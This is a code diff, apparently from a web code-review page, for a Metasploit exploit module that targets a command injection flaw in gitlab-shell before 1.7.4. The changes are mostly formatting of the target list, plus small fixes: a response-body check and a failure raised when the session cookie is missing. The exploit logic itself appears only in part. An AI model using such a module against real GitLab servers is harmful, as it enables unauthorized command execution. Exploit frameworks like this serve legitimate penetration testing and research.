@@ -16,12 +16,12 @@ def initialize(info = {})
16
16
super ( update_info ( info ,
17
17
'Name' => 'Gitlab-shell Code Execution' ,
18
18
'Description' => %q(
19
- This module takes advantage of the addition of authorized
20
- ssh keys in the gitlab-shell functionality of Gitlab. Versions
21
- of gitlab-shell prior to 1.7.4 used the ssh key provided directly
22
- in a system call resulting in a command injection vulnerability. As
23
- this relies on adding an ssh key to an account valid credentials
24
- are required to exploit this vulnerability.
19
+ This module takes advantage of the addition of authorized
20
+ ssh keys in the gitlab-shell functionality of Gitlab. Versions
21
+ of gitlab-shell prior to 1.7.4 used the ssh key provided directly
22
+ in a system call resulting in a command injection vulnerability. As
23
+ this relies on adding an ssh key to an account valid credentials
24
+ are required to exploit this vulnerability.
25
25
) ,
26
26
'Author' =>
27
27
[
@@ -36,31 +36,42 @@ def initialize(info = {})
36
36
'Platform' => 'linux' ,
37
37
'Targets' =>
38
38
[
39
- [ 'Linux' , {
40
- 'Platform' => 'linux' ,
41
- 'Arch' => ARCH_X86
42
- } ] ,
43
- [ 'Linux (x64)' , {
44
- 'Platform' => 'linux' ,
45
- 'Arch' => ARCH_X86_64
46
- } ] ,
47
- [ 'Unix (CMD)' , {
48
- 'Platform' => 'unix' ,
49
- 'Arch' => ARCH_CMD ,
50
- 'Payload' =>
39
+ [ 'Linux' ,
40
+ {
41
+ 'Platform' => 'linux' ,
42
+ 'Arch' => ARCH_X86
43
+ }
44
+ ] ,
45
+ [ 'Linux (x64)' ,
46
+ {
47
+ 'Platform' => 'linux' ,
48
+ 'Arch' => ARCH_X86_64
49
+ }
50
+ ] ,
51
+ [ 'Unix (CMD)' ,
52
+ {
53
+ 'Platform' => 'unix' ,
54
+ 'Arch' => ARCH_CMD ,
55
+ 'Payload' =>
51
56
{
52
- 'Compat' => {
53
- 'RequiredCmd' => 'openssl perl python'
54
- } ,
57
+ 'Compat' =>
58
+ {
59
+ 'RequiredCmd' => 'openssl perl python'
60
+ } ,
55
61
'BadChars' => "\x22 "
56
62
}
57
-
58
- } ] ,
59
- [ 'Python' , {
60
- 'Platform' => 'python' ,
61
- 'Arch' => ARCH_PYTHON ,
62
- 'Payload' => { 'BadChars' => "\x22 " }
63
- } ]
63
+ }
64
+ ] ,
65
+ [ 'Python' ,
66
+ {
67
+ 'Platform' => 'python' ,
68
+ 'Arch' => ARCH_PYTHON ,
69
+ 'Payload' =>
70
+ {
71
+ 'BadChars' => "\x22 "
72
+ }
73
+ }
74
+ ]
64
75
] ,
65
76
'CmdStagerFlavor' => %w( bourne printf ) ,
66
77
'DisclosureDate' => 'Nov 4 2013' ,
@@ -93,10 +104,9 @@ def execute_command(cmd, _opts = {})
93
104
94
105
def check
95
106
res = send_request_cgi ( 'uri' => normalize_uri ( target_uri . path . to_s , 'users' , 'sign_in' ) )
96
- if res && res . body . include? ( 'GitLab' )
107
+ if res && res . body && res . body . include? ( 'GitLab' )
97
108
return Exploit ::CheckCode ::Detected
98
109
else
99
- vprint_error ( "#{ peer } - Connection timed out" )
100
110
return Exploit ::CheckCode ::Unknown
101
111
end
102
112
end
@@ -144,6 +154,8 @@ def login
144
154
fail_with ( Failure ::NoAccess , "#{ peer } - Login failed" ) unless res && res . code == 302
145
155
146
156
@session_cookie = res . get_cookies . scan ( /(_gitlab_session=[A-Za-z0-9%-]+)/ ) . flatten [ 0 ]
157
+
158
+ fail_with ( Failure ::NoAccess , "#{ peer } - Unable to get session cookie" ) if @session_cookie . nil?
147
159
end
148
160
149
161
def add_key ( cmd )
0 commit comments